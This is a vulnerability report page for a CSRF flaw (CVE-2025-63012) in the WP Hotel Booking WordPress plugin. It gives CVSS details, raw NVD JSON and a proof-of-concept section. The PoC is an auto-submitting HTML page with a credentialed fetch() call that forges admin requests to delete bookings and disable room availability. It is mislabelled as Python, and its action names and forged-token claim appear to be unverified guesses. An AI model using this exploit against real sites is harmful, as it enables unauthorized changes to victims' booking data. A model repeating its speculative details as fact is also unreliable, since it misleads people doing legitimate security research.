Security Vulnerability Report
中文
CVE-2025-63012 CVSS 4.3 MEDIUM

CVE-2025-63012

Published: 2025-12-09 16:18:07
Last Modified: 2026-04-27 19:16:18

Description

Cross-Site Request Forgery (CSRF) vulnerability in ThimPress WP Hotel Booking wp-hotel-booking allows Cross Site Request Forgery.This issue affects WP Hotel Booking: from n/a through <= 2.2.8.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Hotel Booking <= 2.2.8 (所有版本至2.2.8均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-63012 --> <!-- Exploits CSRF vulnerability in WP Hotel Booking plugin --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-63012</title> </head> <body> <h1>Malicious Page - Do Not Visit</h1> <p>This page demonstrates CSRF attack on WP Hotel Booking.</p> <!-- Example: Delete a booking --> <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="hb_delete_booking"> <input type="hidden" name="booking_id" value="123"> <input type="hidden" name="_wpnonce" value=""> <!-- CSRF token is missing or can be forged --> </form> <script> // Auto-submit form when page loads document.getElementById('csrf-form').submit(); </script> <!-- Example: Modify room availability --> <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="csrf-form2"> <input type="hidden" name="action" value="hb_update_room"> <input type="hidden" name="room_id" value="456"> <input type="hidden" name="availability" value="0"> </form> <script> // Alternative: Trigger via fetch API fetch('http://target-site/wp-admin/admin-post.php', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=hb_delete_booking&booking_id=123' }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63012", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:06.717", "lastModified": "2026-04-27T19:16:17.853", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in ThimPress WP Hotel Booking wp-hotel-booking allows Cross Site Request Forgery.This issue affects WP Hotel Booking: from n/a through <= 2.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-hotel-booking/vulnerability/wordpress-wp-hotel-booking-plugin-2-2-7-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}